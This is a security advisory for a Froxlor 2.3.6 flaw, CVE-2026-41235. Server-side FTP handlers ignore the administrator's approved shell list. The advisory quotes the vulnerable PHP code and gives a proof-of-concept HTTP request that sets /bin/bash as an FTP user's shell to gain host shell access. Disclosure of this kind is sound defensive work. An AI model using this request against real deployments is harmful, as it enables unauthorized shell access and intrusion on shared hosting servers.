PT-2026-44906 · Packagist · Froxlor/Froxlor

Published

2026-05-29

·

Updated

2026-05-29

·

CVE-2026-41235

CVSS v3.1

8.8

High

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

Froxlor 2.3.6 lets administrators configure system.available shells as the approved shell list that customers may assign to FTP users. However, the server-side FTP account handlers do not enforce that whitelist when processing add or edit requests.
As a result, an authenticated customer with shell delegation enabled can submit an arbitrary shell such as /bin/bash even when the panel UI only offers more restricted choices. In deployments that use the default nssextrausers integration, the attacker-controlled shell is then propagated into the system account database, leading to real host shell access.

Details

The customer-facing FTP account page builds the shell selector from system.available shells, which shows that the product intends the setting to act as the authorization boundary:
// customer ftp.php:138-149
$shells = [
  '/bin/false' => '/bin/false'
];
$availableshells = explode(',', Settings::Get('system.available shells'));
if (is array($availableshells) && !empty($availableshells)) {
  foreach ($availableshells as $shell) {
    $shells[trim($shell)] = trim($shell);
  }
}
The request handler forwards posted form data directly into the FTP API command implementation:
// customer ftp.php:170-172
if ($action == 'edit' && Request::post('send') == 'send') {
  $result = $log->logAction(USR ACTION, LOG INFO, "edited ftp-account #" . $id);
  Commands::get()->apiCall('Ftps.update', Request::postAll());
}
On the server side, Ftps::add() and Ftps::update() only perform generic shell string validation. They do not verify that the submitted shell belongs to system.available shells:
// lib/Froxlor/Api/Commands/Ftps.php:119-123
if (Settings::Get('system.allow customer shell') == '1' && $this->getUserDetail('shell allowed') == '1') {
  $shell = Validate::validate(trim($shell), 'shell', '', '', [], true);
} else {
  $shell = '/bin/false';
}
The validated shell is stored into ftp users.shell and later consumed by the root-owned cron task that rebuilds NSS extrausers files:
// lib/Froxlor/Cron/System/Extrausers.php:89-97
$passwd entries[] = $user['username'] . ':x:' . $uid . ':' . $gid . ':' . $gecos . ':' . $homedir . ':' . $shell;
Because the default installer configuration sets system.nssextrausers=1, and the shipped Debian/Bookworm configuration enables extrausers in nsswitch.conf, the attacker-controlled shell becomes the effective login shell of the generated system user on standard supported deployments.

PoC

An attacker needs a normal customer account and a deployment where customer shell delegation is enabled for that customer.
Relevant runtime prerequisites:
  • system.allow customer shell=1
  • the attacking customer has shell allowed=1
  • the deployment uses system.nssextrausers=1 with the shipped libnss-extrausers integration
Froxlor requires a valid CSRF token for POST requests, so the attacker performs the exploit from an authenticated session.
Complete PoC flow:
  1. Log in as a customer and obtain a valid csrf token.
  2. Identify one FTP account owned by that customer.
  3. Submit an edit request that sets an arbitrary shell outside the administrator-approved system.available shells list:
POST /customer ftp.php?page=accounts&action=edit&id=17 HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Cookie: <authenticated customer session>

csrf token=VALID CSRF TOKEN&
send=send&
id=17&
username=test1ftp1&
ftp description=poc&
path=/&
shell=/bin/bash&
login enabled=1
  1. Wait for Froxlor's master cron to process the queued REBUILD NSSUSERS task.
Result:
  • the request is accepted even if /bin/bash is not present in system.available shells
  • ftp users.shell is updated to /bin/bash
  • /var/lib/extrausers/passwd is regenerated with /bin/bash as the FTP user's login shell
  • the attacker can then authenticate to the host using that FTP user's credentials and obtain an interactive shell

Impact

This issue lets a low-privileged customer bypass an administrator-defined authorization boundary and promote an FTP-only account into a real shell account. On shared-hosting systems managed by Froxlor, that materially changes the trust model and can expose the host to lateral movement, local privilege-escalation follow-on attacks, data theft from colocated services, and persistence on the server.
Because the vulnerable flow is executed through the normal authenticated web interface and a root-owned provisioning task later materializes the chosen shell at the operating-system level, the vulnerability is stronger than a UI-only restriction bypass.

Fix

Incorrect Authorization

Weakness Enumeration

CWE-863

Related Identifiers

CVE-2026-41235
GHSA-GCV3-5V9Q-FMHH

Affected Products

Froxlor/Froxlor